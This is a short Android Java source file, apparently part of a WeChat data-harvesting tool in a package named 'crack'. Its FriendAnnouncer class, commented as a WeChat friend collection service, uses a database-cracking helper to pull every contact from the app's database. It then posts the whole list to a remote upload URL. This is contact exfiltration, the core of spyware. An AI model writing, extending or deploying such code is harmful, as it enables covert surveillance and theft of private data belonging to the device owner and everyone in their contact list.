package com.rajesh.messageservice.crack;

import android.content.Context;

import com.rajesh.messageservice.Announcer;
import com.rajesh.messageservice.bean.Contact;
import com.rajesh.messageservice.helper.GlobalConfig;
import com.rajesh.messageservice.helper.JsonHttpClient;
import com.rajesh.messageservice.helper.QueryStrings;

import java.util.List;

/**
 * 微信好友采集服务
 */
public class FriendAnnouncer extends Announcer {

    private final String STATUS_KEEPER_IDENTITY = "Friend_StatusKeeper";
    private DatabaseCracker databaseCracker = null;
    private JsonHttpClient jsonHttpClient = null;

    public FriendAnnouncer(Context context, DatabaseCracker databaseCracker) {
        this.databaseCracker = databaseCracker;
        jsonHttpClient = new JsonHttpClient();
    }

    @Override
    public void execute(String path, String pragmaKey) {
        try {
            List<Contact> contacts = databaseCracker.select(Contact.class, QueryStrings.QUERY_ALL_CONTACT);
            if(contacts == null || contacts.size() == 0) return;

            jsonHttpClient.post(GlobalConfig.UploadFriendsUrl, contacts);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
